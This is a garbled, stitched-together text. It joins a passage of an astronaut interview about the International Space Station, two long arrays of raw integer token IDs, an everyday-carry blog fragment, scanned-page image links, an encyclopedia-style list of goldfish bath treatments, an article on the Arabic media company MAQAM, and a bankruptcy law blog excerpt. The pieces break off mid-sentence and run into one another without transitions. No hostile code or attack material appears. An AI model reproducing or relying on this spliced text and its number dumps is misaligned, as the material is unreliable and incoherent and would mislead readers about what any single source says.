shuttle Discovery back in 2007, and we were bringing the Node 2 up. I was just awestruck at the size of the station just hanging there against the emptiness and vastness of space. It was just absolutely breathtaking. I’m looking forward to the vehicle, pressurized module size is nearly twice the size as when I left and so, really excited to see just the enormity of how it presents itself once we begin the approach. Then the other thing, maybe sort of nostalgically that I’m looking forward to is, on STS-120 we repaired the solar array on one of our EVAs, sort of a contingency EVA where we went out and repaired the P6 solar array. We put in some “cufflinks,” five “cufflinks” on the array and spent a lot of time out there and got kind of cold out there. It was a very challenging task, and I’m actually kind of excited to look out and see those “cufflinks” doing their job out there on that solar array, too. Let me get you to fill in some of the detail. For all the changes that have gone on since you’ve been there, describe the International Space Station, the place that it is today with its various laboratories and other airlocks and modules. It’s just a fantastic place, and I’ve heard it described as the equivalent of like a 1800-square-foot ranch-style home, three bedroom, two bath, about that much volume. With six people around, it’s actually a pretty big place. I was really pretty awestruck when we opened the hatch from the shuttle to go inside the station, how spacious it was and now it’s going to be even more so. When you approach it from the outside and when you’re outside on the EVA looking at the station, it’s sort of sterile looking; it’s got white and metallic colors and, of course, gold and some silver metallic colors. When you have as a backdrop the beautiful colors of the Earth, or even the stark vastness of the backdrop of deep space, it’s stands out. It’s almost like a piece of art, that really takes your breath away. Now with these laboratories fully functioning we’re very excited about the science, and we’ve already seen some of that science return to Earth in enhanced processes both in the medical field and the field of crystalline growth and things like this. We’re seeing these things returning now, and we’re excited about continuing this research so we can bring back and make this a better place where we live and also prepare us to go beyond. Let’s talk about some of those. You are going to have six crew members, for the most part, so there’s more time going to be spent on science in more laboratories. One of the focuses of station science has been about finding how people respond to being in that weightless environment and how they respond then to returning to gravity. Talk a little bit about being one of the research subjects for those kinds of experiments: what experiments will you be involved in, and what kind of things do you and your crewmates have to do to gather the data for that? It’s actually sort of a nice little collateral plus that we have when we’re doing the science for the scientists here on Earth. We also, by flying in space for six months, or right around six months, we’re sort of replicating what it would take for the effects on the human body of someone flying to Mars or making a long journey to some sort of a planetary body or maybe even a near-Earth asteroid or something like this. So in the process of doing that we can actually have science performed on us as well. Of course, it runs the gamut of anything from the specific control of our diet at any given time, taking, measuring. Of course, we draw both blood and urine, and we do tests on each other as far as echocardiograms and things like this, to look at countermeasures, to look at how we can better perform on a long-duration mission. Of course, if you are the first one to step foot on Mars, when you get there after a long journey, you want to be able to stand up on the planet, so a lot of our research that we’re doing is helping us understand not only how to keep these machines flying that take us there, but also how to keep [points to himself] these machines flying, so that when we get there we can do these bold and wonderful things that we’ve planned to do. So each day we’re either involved in some sort of exercise countermeasure and taking that data; we send a lot of that data to the ground. Based on performance during a particular exercise, we take measurements of blood, we take urine samples and things and send those to the ground. We also have the capability on board to analyze these things or help scientists analyze these things, to really determine what’s happening to the human body in zero g or near-zero g, micro g, and how we’re going to build these spaceships of the future that are going to take us to other planetary bodies. It’s actually very exciting, and I’m not a scientist by trade, so for me, as an engineer and a sort of a “left brain” kind of person, it’s really kind of fun to see the art and science of this type of research come together and to really
[ 306, 9269, 247, 1618, 273, 4957, 326, 2408, 281, 247, 11320, 13725, 15, 1680, 619, 1618, 23539, 32, 15594, 15, 309, 452, 247, 1643, 4957, 309, 5257, 281, 9644, 327, 625, 685, 2571, 13, 285, 690, 4957, 309, 778, 43413, 417, 4409, 253, 45454, 273, 8785, 15, 380, 1524, 5161, 273, 8360, 36, 310, 281, 4459, 752, 2789, 3282, 323, 368, 15, 16600, 247, 6255, 47966, 3515, 323, 253, 1735, 2129, 390, 767, 285, 923, 849, 1142, 2069, 368, 1333, 773, 42, 5730, 309, 574, 247, 795, 15362, 342, 479, 6598, 2635, 368, 457, 250, 1469, 281, 320, 745, 285, 3515, 327, 253, 1039, 281, 3652, 634, 1211, 8360, 36, 13, 285, 5046, 309, 457, 620, 320, 2819, 387, 634, 11320, 13725, 327, 7879, 3517, 2, 12520, 1288, 75, 30366, 5523, 1012, 14, 28059, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 9312, 94, 187, 187, 12520, 1288, 75, 30366, 5523, 1012, 14, 28835, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 13381, 94, 187, 187, 12520, 1288, 75, 30366, 5523, 1012, 14, 22140, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 11946, 94, 187, 187, 12520, 1288, 75, 30366, 5523, 1012, 14, 29407, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 8196, 94, 187, 187, 12520, 1288, 75, 30366, 5523, 1012, 14, 31202, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 13482, 94, 187, 187, 12520, 1288, 75, 30366, 5523, 1012, 14, 31272, 15, 40165, 346, 1026, 5442, 14, 6377, 45135, 15, 11246, 94, 187, 35, 506, 1971, 313, 12306, 23492, 10, 187, 187, 35, 506, 9694, 403, 2728, 9694, 326, 23923, 1580, 253, 18353, 1897, 273, 5328, 12306, 4466, 15, 50276, 3726, 403, 3477, 281, 4459, 562, 15, 50276, 4041, 273, 253, 954, 3576, 5199, 310, 1925, 253, 7043, 8158, 534, 310, 3240, 3576, 275, 2827, 18535, 839, 260, 31689, 27338, 432, 253, 6773, 15, 50276, 6436, 13, 627, 403, 671, 19437, 13, 3021, 417, 8521, 13, 8158, 9694, 824, 347, 253, 897, 273, 2176, 18042, 390, 35347, 275, 253, 8158, 15, 187, 187, 35, 506, 1971, 476, 2057, 320, 2159, 14, 3945, 313, 66, 346, 31665, 2807, 390, 1048, 14, 3945, 313, 4064, 247, 1643, 3038, 281, 1249, 390, 2164, 3038, 390, 3356, 481, 187, 187, 10818, 13211, 908, 275, 8158, 9694, 187, 46061, 27, 253, 954, 3576, 8158, 1971, 13, 285, 310, 908, 281, 13469, 260, 31689, 21634, 8636, 266, 27338, 313, 10387, 18119, 275, 1355, 6773, 558, 671, 908, 281, 33204, 253, 11058, 273, 12389, 3852, 13, 285, 281, 4796, 253, 31624, 3875, 3473, 33916, 407, 5352, 14, 7779, 327, 667, 7793, 275, 253, 4808, 390, 305, 408, 28, 399, 375, 486, 285, 34931, 27, 1916, 4711, 247, 470, 15, 20, 6, 7043, 2900, 313, 66, 1971, 24411, 1411, 954, 21634, 8636, 266, 27338, 582, 337, 23451, 273, 7043, 310, 908, 591, 46740, 273, 1824, 28, 281, 4711, 247, 470, 15, 23, 6, 7043, 2900, 313, 66, 1971, 24411, 1411, 1535, 469, 351, 1758, 582, 374, 18850, 273, 7043, 323, 1046, 581, 46740, 273, 1824, 28, 285, 281, 4711, 247, 470, 15, 26, 6, 7043, 2900, 13, 495, 18850, 273, 7043, 323, 1046, 581, 46740, 273, 1824, 187, 34, 7083, 338, 19306, 460, 27, 247, 6422, 18722, 908, 323, 12767, 21634, 8636, 507, 13, 39565, 13, 21420, 13, 473, 351, 249, 1514, 285, 48927, 312, 5741, 187, 1779, 3833, 6771, 308, 27, 247, 40163, 552, 33322, 8508, 908, 281, 1453, 10741, 305, 408, 2728, 285, 892, 41757, 187, 42, 5120, 14295, 27, 1959, 14, 630, 14295, 908, 281, 5159, 9574, 285, 27338, 187, 18157, 39806, 27, 271, 13188, 9429, 908, 1411, 41664, 21254, 13, 14979, 19901, 285, 8024, 22228, 40014, 187, 37, 1406, 10179, 27, 247, 12575, 830, 273, 268, 5744, 3008, 386, 293, 908, 281, 2590, 892, 41757, 285, 35231, 187, 22532, 1190, 27, 436, 310, 247, 7138, 273, 1313, 1406, 37683, 285, 310, 247, 1971, 273, 4327, 323, 48927, 312, 5741, 285, 2101, 2002, 2627, 316, 187, 6623, 17936, 308, 5375, 27, 908, 1411, 2938, 413, 2192, 35804, 187, 39, 1939, 249, 27, 436, 310, 48306, 3678, 275, 1824, 908, 281, 347, 247, 794, 72, 9429, 285, 1971, 1411, 690, 10741, 10332, 13, 260, 31689, 21634, 8636, 507, 285, 892, 41757, 187, 39, 321, 1370, 531, 4759, 27, 247, 5019, 273, 767, 390, 1264, 11829, 266, 18042, 187, 17557, 607, 614, 4759, 27, 247, 6422, 18722, 326, 35580, 27338, 187, 46, 17428, 4797, 27, 247, 5044, 289, 13306, 460, 18722, 908, 281, 1555, 25158, 10332, 187, 49, 857, 4775, 12174, 27, 247, 7321, 2715, 273, 49632, 908, 281, 1555, 892, 41757, 187, 29255, 20837, 8143, 606, 266, 366, 27, 247, 7318, 461, 280, 42391, 326, 310, 3576, 275, 12767, 892, 41757, 13, 25158, 10332, 13, 10741, 305, 408, 2728, 13, 10741, 10332, 273, 253, 2133, 285, 45006, 13, 285, 260, 31689, 21634, 8636, 507, 2192, 383, 569, 3707, 18119, 187, 20053, 27, 310, 298, 2375, 257, 27658, 534, 310, 3576, 1411, 14979, 19901, 13, 41664, 21254, 285, 8024, 22228, 40014, 187, 2290, 45205, 1306, 27, 310, 20978, 45205, 1306, 17016, 534, 310, 247, 372, 36141, 272, 12358, 187, 187, 4941, 187, 187, 1413, 27, 48290, 6578, 3788, 50, 2300, 187, 187, 3788, 50, 2300, 310, 247, 1982, 14, 3169, 3275, 2567, 2714, 3006, 275, 26503, 285, 10515, 11867, 3420, 15, 380, 2567, 369, 4232, 407, 247, 1355, 1387, 273, 26503, 3440, 285, 4466, 26987, 13, 1996, 7552, 247, 9025, 273, 495, 35, 11263, 3690, 15, 346, 3788, 50, 2300, 3, 310, 271, 26503, 3159, 4495, 247, 1899, 273, 1029, 12368, 358, 15, 50276, 1147, 671, 10770, 281, 247, 12256, 4438, 275, 26503, 3440, 326, 310, 1754, 327, 253, 7150, 14, 48619, 4311, 313, 24850, 280, 6429, 82, 312, 481, 187, 187, 510, 2567, 434, 10630, 10567, 4384, 2670, 310, 2783, 281, 320, 346, 510, 3645, 434, 5962, 327, 14, 1282, 2603, 323, 26503, 11412, 3446, 50276, 688, 5215, 253, 2567, 10098, 253, 806, 4320, 26503, 3440, 5865, 2579, 13, 6908, 50, 2300, 12732, 20, 13, 285, 253, 806, 3909, 26503, 3440, 5553, 16, 4963, 272, 2579, 15, 50276, 510, 2567, 11330, 253, 31122, 7979, 6857, 5553, 2086, 13951, 6908, 50, 2300, 13, 534, 310, 10675, 13772, 327, 1345, 5553, 13, 285, 310, 17386, 407, 32799, 274, 4033, 23248, 15, 380, 921, 310, 253, 806, 2455, 26503, 4964, 327, 1345, 5553, 15, 496, 4104, 13, 253, 5553, 2086, 4395, 281, 247, 767, 14, 11964, 5981, 327, 690, 10988, 13, 2112, 342, 2067, 294, 14, 83, 4539, 1309, 253, 2129, 327, 2571, 15, 187, 187, 3788, 50, 2300, 3054, 326, 347, 271, 6003, 352, 556, 346, 66, 7517, 281, 14003, 285, 8591, 26503, 285, 10515, 11867, 4466, 1475, 253, 1533, 3446, 496, 6585, 253, 2567, 820, 14, 36008, 247, 42628, 800, 5400, 323, 24923, 258, 438, 4760, 17311, 343, 32799, 343, 7429, 19926, 43191, 312, 571, 15, 831, 369, 3560, 407, 1529, 258, 438, 5400, 323, 24923, 473, 438, 48864, 90, 1284, 303, 1219, 39293, 18754, 7429, 4200, 1432, 255, 15, 187, 187, 688, 5826, 13, 253, 2567, 48228, 253, 806, 27199, 14, 4826, 38882, 3275, 273, 26503, 285, 10515, 11867, 11012, 285, 3440, 275, 17413, 13, 4047, 1925, 329, 20909, 273, 20498, 15, 831, 369, 3560, 407, 247, 2962, 273, 2722, 275, 10497, 285, 840, 253, 1982, 24654, 275, 8068, 327, 3978, 1249, 13, 4695, 15, 50276, 510, 921, 2959, 4618, 7031, 275, 253, 3420, 13, 285, 369, 21038, 26108, 347, 247, 3216, 22071, 921, 285, 2529, 347, 346, 537, 66, 19684, 7389, 11781, 273, 11012, 285, 20021, 3446, 187, 187, 3788, 50, 2300, 556, 671, 644, 26873, 342, 9745, 26503, 4466, 281, 253, 6359, 17068, 15, 380, 2567, 7208, 8317, 684, 342, 1755, 8365, 10846, 432, 253, 346, 27716, 257, 2363, 3, 824, 347, 12772, 7958, 13, 18730, 66, 1219, 14, 43, 1370, 1094, 571, 285, 34423, 616, 3565, 4384, 4375, 15, 50276, 3788, 50, 2300, 310, 253, 760, 26503, 3420, 50276, 14360, 273, 253, 5625, 20369, 273, 253, 1777, 251, 5576, 25475, 15, 6908, 50, 2300, 434, 3440, 5203, 556, 247, 3646, 273, 760, 18738, 10846, 327, 271, 11855, 3720, 285, 616, 22970, 3797, 6993, 824, 347, 22437, 11417, 13, 47683, 22437, 49298, 382, 34442, 267, 443, 297, 785, 13, 427, 454, 5582, 25454, 338, 13, 427, 3230, 70, 13, 714, 528, 610, 25454, 338, 13, 6393, 31316, 10053, 13, 353, 23611, 26878, 13, 285, 253, 45817, 14, 43, 11105, 1387, 388, 1944, 11105, 15, 2490, 187, 17831, 8553, 452, 2361, 326, 253, 2567, 7208, 34423, 34251, 5997, 1690, 5373, 323, 36912, 8632, 968, 28495, 15808, 74, 26444, 313, 4045, 5285, 1293, 378, 6609, 582, 2739, 14137, 13, 27873, 262, 323, 24076, 13, 29, 709, 21760, 40, 11983, 27873, 262, 275, 32880, 16540, 370, 48616, 342, 2233, 6, 273, 16256, 1469, 281, 36912, 8632, 968, 28495, 15808, 74, 26444, 3446, 187, 187, 688, 2380, 281, 253, 3394, 273, 253, 8365, 10039, 534, 3407, 275, 4267, 13, 327, 4247, 3349, 13, 4332, 13, 6908, 50, 2300, 2530, 247, 9940, 4422, 285, 3531, 616, 3565, 6745, 285, 7879, 7223, 715, 3153, 28468, 13, 9610, 512, 5841, 13, 16530, 13, 28311, 13, 7963, 13, 3492, 13, 285, 3668, 432, 10253, 13, 4933, 10253, 2458, 762, 253, 8573, 28398, 2289, 281, 616, 4156, 8446, 1309, 253, 22437, 15033, 273, 4332, 15, 6408, 326, 673, 352, 369, 2361, 253, 3275, 4750, 14116, 512, 36367, 285, 9119, 19944, 616, 7989, 285, 8446, 2613, 762, 253, 29751, 346, 18105, 5881, 33, 3788, 50, 2300, 995, 14949, 32380, 11901, 598, 2289, 3904, 13, 1480, 8153, 12453, 323, 13230, 4384, 4375, 13, 1980, 8945, 4481, 3904, 13, 2614, 23672, 1491, 285, 4375, 4768, 10253, 13, 285, 5950, 4481, 5841, 432, 7815, 275, 10253, 15, 6908, 50, 2300, 4821, 281, 1304, 327, 253, 8365, 10039, 275, 27664, 30160, 313, 53, 328, 261, 757, 10532, 582, 10253, 13, 21789, 1949, 13, 9271, 8202, 10109, 3660, 13, 27412, 13, 36364, 571, 13, 40983, 13, 17959, 5079, 2137, 13, 13268, 13, 473, 1342, 13, 16158, 20498, 13, 285, 2439, 253, 10515, 5791, 285, 3729, 7531, 15, 50276, 22674, 9610, 310, 4879, 323, 1146, 5258, 561, 2149, 13, 440, 49539, 13, 285, 247, 1480, 10675, 273, 253, 18162, 6941, 20985, 1475, 253, 1533, 281, 2793, 253, 3585, 17009, 347, 597, 5108, 15, 50276, 1552, 3982, 690, 14226, 347, 973, 347, 14672, 327, 6745, 285, 7879, 1955, 281, 253, 19908, 285, 5258, 561, 2149, 3753, 273, 690, 273, 253, 9319, 15, 831, 10171, 7369, 275, 616, 4384, 4375, 3551, 762, 23180, 24764, 8104, 275, 5768, 273, 4332, 275, 2380, 281, 616, 7031, 285, 9610, 327, 253, 3585, 17009, 15, 2490, 187, 2374, 4596, 374, 13, 4050, 253, 2567, 4197, 247, 747, 921, 7429, 49185, 41976, 326, 594, 2080, 556, 760, 644, 2130, 275, 10497, 15, 5220, 13, 347, 273, 4104, 13, 253, 3806, 281, 247, 21924, 3906, 327, 616, 4384, 2670, 369, 16092, 5176, 1293, 271, 15687, 285, 7932, 342, 247, 15878, 18088, 581, 15, 187, 187, 4941, 187, 187, 7504, 4859, 187, 495, 35, 11263, 13, 3690, 15, 23607, 25729, 19668, 187, 1413, 27, 17831, 4413, 273, 253, 1986, 2077, 187, 1413, 27, 24850, 280, 3440, 34, 23307, 1025, 13, 322, 18917, 43584, 1916, 23560, 187, 187, 5804, 368, 1818, 390, 10007, 634, 13165, 32, 187, 187, 2374, 11136, 273, 380, 5405, 7454, 273, 10766, 330, 11305, 1299, 9269, 275, 10372, 2145, 327, 6794, 13, 5080, 884, 13, 4240, 15, 187, 187, 1231, 452, 8042, 562, 7418, 2069, 275, 436, 5311, 253, 2616, 326, 403, 908, 275, 8925, 26281, 323, 247, 10372, 2145, 13165, 15, 1916, 39994, 13, 10372, 2145, 310, 1929, 347, 253, 773, 4762, 333, 420, 13165, 1806, 534, 778, 1581, 368, 281, 4017, 2176, 10434, 1223, 1234, 16948, 954, 390, 512, 273, 634, 6735, 275, 247, 49951, 1039, 15, 1916, 19478, 323, 10372, 2145, 13, 368, 878, 281, 2525, 2176, 6021, 6095, 15, 743, 3745, 281, 1056, 3963, 10762, 310, 5667, 323, 36362, 8811, 281, 19478, 323, 436, 1511, 273, 13165, 15, 1723, 13, 752, 604, 634, 4112, 2544, 285, 368, 403, 642, 3356, 2104, 281, 1056, 634, 10762, 347, 18627, 275, 634, 13165, 4345, 32, 187, 187, 43755, 437, 2499, 5405, 4726, 457, 84, 24547, 8339, 6516, 2792, 562, 326, 13, 275, 690, 5989, 13, 368, 1537, 320, 2104, 281, 2748, 247, 11237, 323, 634, 10372, 2145, 13165, 2098, 15, 1198, 1650, 13, 368, 778, 1089 ]	ve posted a list of items that amount to a pocket dump. Is my list biased? Sure. I have a few items I tend to lean on more than others, and some items I may deem not worth the hassle of carrying. The real core of EDC is to carry what makes sense for you. Keep a mental tally running for the next week or two and see how many times you say “I wish I had a ____ with me”. Then you’re going to be off and running on the way to building your own EDC, and maybe I’ll be looking at your pocket dump on Twitter soon!![](brjcancer00513-0013.tif "scanned-page"){.125} ![](brjcancer00513-0014.tif "scanned-page"){.126} ![](brjcancer00513-0015.tif "scanned-page"){.127} ![](brjcancer00513-0016.tif "scanned-page"){.128} ![](brjcancer00513-0017.tif "scanned-page"){.129} ![](brjcancer00513-0018.tif "scanned-page"){.130} Bath treatment (fishkeeping) Bath treatments are disease treatments that originated since the earliest days of goldfish culture. They are easy to carry out. One of the most effective procedure is called the salt bath which is quite effective in eradicating ciliated parasites from the fish. However, there are also useless, thus not recommended, bath treatments such as the use of certain antibiotics or vitamins in the bath. Bath treatment can either be short-term (a "dip") or long-term (from a few hours to 12 or 24 hours or longer). Medications used in bath treatments Salt: the most effective bath treatment, and is used to eliminate ciliated protozoan parasites (including ich in small fish); also used to curb the absorption of nitrite, and to reduce the osmotic pressure exerted by fresh-water on any hole in the skin or gill; Dosage and dosing: To produce a 0.3% salt solution (a treatment dosage against most protozoan parasites), 1 tablespoon of salt is used per gallon of water; to produce a 0.6% salt solution (a treatment dosage against Trichodina), 2 tablespoons of salt for every one gallon of water; and to produce a 0.9% salt solution, 3 tablespoons of salt for every one gallon of water Acriflavine: a powerful dye used for treating protozoans, fungus, lymphocytes, Oodinium and Hexamita Chloramine T: a quaternary ammonium compound used to control bacterial gill disease and flukes Ionic copper: free-form copper used to kill bacteria and parasites Dimilin: an insecticide used against Lernea, Argulus and Ergasilus Droncit: a pill form of praziquantel used to clear flukes and worms Flagyl: this is a brand of metronidazole and is a treatment of choice for Hexamita and Spironucleus Fluke Tabs: used against fluke infestation Formalin: this is formaldehyde gas in water used to as a fungicide and treatment against some bacterial infections, ciliated protozoans and flukes Furazone green: a combination of two or three furan antibiotics Malachite green: a powerful dye that eliminates parasites Methylene blue: a basic thiazine dye used to treat fungal infections Pond Health Guard: a modified version of formalin used to treat flukes Potassium permanganate: a caustic alkali that is effective in treating flukes, fungal infections, bacterial gill disease, bacterial infections of the body and fins, and ciliated protozoans infestations except ich Program: is lufenuron which is effective against Argulus, Lernea and Ergasilus Tramisole: is levamisole phosphate which is a deworming medication References Category:Fish diseasesMAQAM MAQAM is a US-based production company specializing in Arabic and Middle Eastern media. The company was established by a small group of Arabic music and culture lovers, later becoming a division of 3B Media Inc. "MAQAM" is an Arabic word meaning a position of high esteem. It also refers to a musical mode in Arabic music that is based on the quarter-tone scale (Arabic maqam). The company's consumer retail web site is considered to be "The World's biggest on-line source for Arabic Music". In 2007 the company launched the first legal Arabic music digital service, MAQAM MP3, and the first online Arabic music radio/streaming service. The company produces the nationally syndicated radio program Radio MAQAM, which is broadcast weekly on public radio, and is hosted by Bashar Barazi. The show is the first ever Arabic hour on public radio. In 2015, the radio program moved to a two-hour format on some stations, along with several re-runs during the week on others. MAQAM states that as an organization it has "a mission to preserve and promote Arabic and Middle Eastern culture around the world". In 2001 the company co-produced a commemorative album for Iraqi oud player Munir Bashir entitled Mesopotamia. This was followed by another oud album for Iraqi Oud prodigy Asim Al Chalabi entitled Monajat. In 2005, the company premiered the first Broadway-style theatrical production of Arabic and Middle Eastern dance and music in Tokyo, Japan called A Dream of Arabia. This was followed by a series of shows in Asia and then the US premier in Chicago on June 12, 2008. The show received wide coverage in the media, and was critically praised as a groundbreaking show and described as "..a majestic fusion of dance and theatre". MAQAM has also been credited with bringing Arabic culture to the Western mainstream. The company frequently collaborates with top Arab artists from the "golden age" such as Fairuz, Warda Al-Jazairia and sponsors their official web sites. MAQAM is the only Arabic media member of the International Federation of the Phonographic Industry. MAQAM's music label has a policy of only accepting artists on an exclusive basis and their roster includes acts such as Egyptian Academy, famed Egyptian percussionist Gamal Gomma, Nourhan Sharif, Nanae, Yousry Sharif, Mary Ellen Donald, Mimi Spencer, and the Oriental-Jazz group Hijazz. Media accounts have reported that the company frequently sponsors charitable causes including benefits for Médecins Sans Frontières (Doctors without Borders), food drives, Benefit for Gaza,<ref>"Gaza Benefit in NYC raises $6000 with 100% of profits going to Médecins Sans Frontières". In response to the events of the Arab Spring which began in 2010, on January 28, 2011, MAQAM provided a dedicated website and turned their official Facebook and Twitter pages into live feeds, reporting all calls, emails, tweets, photos, video, and news from Egypt, giving Egyptians under the internet blockade access to their global audience during the Egyptian Revolution of 2011. During that time it was reported the production staff suspended all productions and mobilized their fan and audience base under the banner "freedom@MAQAM", continuously broadcasting dial up access numbers, direct IP addresses for blocked web sites, local emergency phone numbers, blood donation information and sites throughout Egypt, and recorded phone calls from citizens in Egypt. MAQAM continued to report on the Arab Spring in Tunisia (Tunisian revolution), Egypt, Bahrain, Libyan Civil War, Yemen, Algeria, Morocco, Syrian civil war, Jordan, Oman, Saudi Arabia, and across the Middle East and North Africa. Their reporting is noted for being uncensored, unedited, and a direct broadcast of the protests allowing viewers around the world to experience the revolutions as they happen. This brought some criticism as well as complaints on Facebook and Twitter due to the graphic and uncensored nature of some of the posts. This involvement resulted in their web sites coming under brutal malicious attacks in summer of 2011 in response to their coverage and reporting on the revolutions. On November 2, 2012 the company produced a new show entitled Arabian Journey that so far has only been available in Asia. Also, as of 2015, the reference to a Madrid office on their web site was quietly removed without an announcement and replaced with a Las Vegas one. References External links 3B Media, Inc. Official Website Category:Media companies of the United States Category:Arabic musicA Personalized, Sensitive Approach To Bankruptcy Can you change or modify your bankruptcy? On behalf of The Law Office of Kim Covington posted in Chapter 13 on Friday, February 10, 2017. We have pointed out numerous times in this blog the factors that are used in determining eligibility for a Chapter 13 bankruptcy. To recap, Chapter 13 is known as the “repayment bankruptcy,” which may allow you to protect certain assets while repaying most or all of your debt in a manageable way. To qualify for Chapter 13, you need to meet certain income requirements. An ability to make regular payments is essential for Eugene residents to qualify for this type of bankruptcy. However, what if your situation changes and you are no longer able to make your payments as outlined in your bankruptcy agreement? Cornell University Law School’s Legal Information Institute points out that, in some circumstances, you might be able to request a modification for your Chapter 13 bankruptcy plan. For example, you may find
[ 36, 28, 2603, 3276, 13, 7346, 3272, 36, 481, 380, 2709, 4884, 8667, 313, 6784, 46, 10, 4438, 369, 3732, 323, 7852, 16, 3338, 5481, 313, 55, 10914, 5428, 5236, 50, 28889, 3871, 53, 5851, 40, 1277, 27, 278, 16, 91, 898, 1449, 15, 22, 19167, 12387, 22, 15, 22, 559, 854, 2357, 15, 24, 28, 657, 10914, 5428, 5236, 50, 28889, 3871, 53, 5851, 7283, 14, 1447, 1012, 36, 23, 13, 1010, 47, 21, 696, 51, 27, 278, 16, 91, 898, 1857, 15, 22, 19167, 12643, 22, 15, 22, 559, 854, 2597, 15, 24, 10, 342, 19400, 285, 15708, 873, 387, 7288, 285, 3387, 657, 13, 2975, 15, 26595, 255, 5576, 5241, 2170, 11878, 875, 440, 22027, 285, 13130, 15015, 19419, 253, 13562, 6128, 15, 12144, 5482, 497, 908, 281, 7484, 18543, 9191, 285, 247, 4872, 9077, 1566, 313, 18, 16, 6027, 42428, 10, 369, 908, 323, 21652, 15, 187, 187, 21214, 1783, 1712, 84, 21, 64, 26, 94, 187, 15879, 187, 187, 3233, 403, 4469, 347, 1599, 3279, 7388, 15, 18300, 6260, 497, 2684, 281, 7277, 253, 7155, 273, 353, 3887, 32658, 14, 18, 285, 353, 3887, 32658, 14, 20, 2173, 2949, 39, 7072, 2762, 2494, 14, 28863, 980, 846, 21750, 1320, 342, 253, 3969, 15015, 15, 21386, 3268, 369, 6760, 407, 247, 24688, 44519, 42017, 14, 8944, 343, 30568, 5222, 1319, 1071, 285, 247, 18433, 475, 85, 11, 1071, 369, 908, 281, 7277, 253, 7155, 273, 3437, 21, 12, 390, 3437, 25, 12, 15006, 7072, 2762, 2494, 28863, 980, 275, 1016, 14773, 15, 18300, 6260, 497, 2684, 970, 4653, 41252, 3694, 15, 187, 187, 6971, 4785, 1843, 10634, 11164, 26572, 31164, 52, 7705, 43087, 1712, 84, 22, 94, 187, 15489, 6877, 187, 187, 1231, 5717, 253, 12761, 49, 1864, 437, 6979, 9509, 13, 253, 28995, 6213, 36503, 346, 25385, 936, 10772, 3, 285, 253, 7532, 17143, 409, 5704, 9509, 273, 253, 45147, 18056, 860, 323, 6485, 7681, 8385, 15, 187, 187, 424, 5707, 4639, 30152, 52, 3481, 22508, 24422, 424, 187, 187, 510, 4477, 11165, 642, 15272, 273, 1600, 15, 187, 187, 424, 6217, 5656, 9242, 27425, 424, 187, 187, 1552, 789, 369, 4516, 407, 3187, 723, 432, 253, 418, 14406, 37379, 458, 13877, 285, 7115, 372, 4568, 48571, 37379, 458, 13877, 285, 2684, 275, 253, 3634, 273, 253, 10118, 4237, 309, 10993, 2086, 4516, 407, 253, 3313, 5489, 13677, 313, 1539, 51, 14, 883, 14, 29317, 57, 14, 29407, 14, 520, 481, 187, 187, 46, 15, 3976, 21601, 1321, 310, 4516, 407, 247, 4098, 432, 253, 5112, 20454, 273, 5489, 15, 187, 187, 5781, 187, 187, 27, 50275, 19741, 3527, 187, 187, 12303, 187, 187, 27, 50275, 4793, 4667, 187, 187, 53, 3077, 187, 187, 27, 50275, 53, 15502, 23608, 839, 21420, 187, 187, 1372, 39, 187, 187, 27, 50275, 5758, 4361, 3665, 187, 187, 27440, 7722, 187, 187, 27, 50275, 468, 41762, 2614, 44763, 1341, 187, 187, 3027, 1410, 187, 187, 27, 50275, 11577, 9412, 10217, 5857, 2670, 187, 187, 9151, 187, 187, 27, 50275, 69, 423, 17425, 894, 187, 187, 1433, 9006, 187, 187, 27, 50275, 3027, 1410, 811, 14, 20594, 2803, 187, 187, 7988, 14, 3338, 16, 3338, 187, 187, 27, 50275, 38390, 19849, 13, 30111, 2280, 25535, 187, 187, 6677, 68, 3479, 187, 187, 27, 50275, 5056, 1327, 12425, 5771, 187, 187, 6784, 46, 187, 187, 27, 50275, 34263, 4884, 8667, 15, 187, 3633, 10155, 3668, 34854, 285, 2714, 5012, 15, 380, 3668, 285, 6281, 326, 2647, 13, 8549, 2129, 1201, 41103, 15, 187, 187, 25324, 19498, 2506, 626, 878, 346, 510, 13992, 10684, 3, 281, 513, 752, 344, 434, 1682, 1929, 323, 27, 5745, 356, 600, 35689, 2158, 5041, 434, 2314, 26691, 15, 187, 187, 510, 3438, 5579, 3167, 1160, 247, 9326, 7286, 327, 7948, 2360, 434, 346, 510, 26502, 10684, 342, 12167, 2065, 6291, 937, 14186, 598, 347, 3918, 10053, 3778, 285, 12360, 342, 9165, 5231, 273, 521, 1211, 275, 247, 12246, 281, 15695, 1171, 253, 747, 5286, 15, 187, 187, 3, 1231, 452, 1620, 11372, 436, 1078, 27, 47908, 1020, 13, 30922, 882, 422, 20142, 937, 19498, 753, 273, 3778, 434, 440, 2156, 19966, 26083, 15, 187, 187, 1466, 776, 3668, 2525, 634, 34272, 15, 380, 3668, 285, 6281, 326, 8213, 13, 8549, 2129, 1201, 41103, 15, 831, 2670, 310, 6885, 407, 48928, 13420, 187, 187, 18130, 275, 521, 806, 1249, 1897, 275, 3906, 556, 11226, 745, 247, 892, 20657, 273, 9165, 7367, 285, 1167, 375, 13, 534, 452, 417, 4783, 440, 44120, 407, 19498, 15, 380, 3569, 2206, 343, 382, 5420, 327, 253, 921, 9398, 247, 1048, 2502, 13898, 285, 3846, 5893, 3405, 1882, 281, 521, 1481, 275, 271, 5165, 1061, 1197, 273, 253, 4007, 15, 187, 187, 6812, 11005, 13, 665, 1669, 346, 510, 13992, 10684, 3, 275, 4223, 4104, 846, 1668, 1107, 275, 253, 18536, 434, 6951, 13, 671, 2183, 2065, 6291, 326, 3778, 556, 643, 9165, 7367, 598, 521, 22910, 15, 380, 806, 27, 1720, 371, 4261, 4135, 281, 6215, 697, 6495, 8799, 281, 3968, 434, 11053, 5680, 15, 187, 187, 3, 1147, 434, 544, 48926, 327, 6742, 1092, 8987, 556, 281, 861, 323, 352, 13, 25014, 13, 597, 452, 281, 2075, 323, 352, 937, 19498, 753, 13, 5048, 272, 3778, 15, 346, 34739, 449, 187, 187, 5872, 13, 19498, 753, 13, 253, 747, 3565, 3448, 273, 253, 1986, 2077, 651, 320, 346, 33443, 84, 283, 85, 449, 187, 187, 3, 1898, 407, 253, 1039, 13, 5293, 273, 326, 13, 686, 17833, 13, 309, 1833, 3984, 12156, 84, 283, 85, 387, 789, 13, 533, 387, 1728, 309, 1353, 1469, 281, 897, 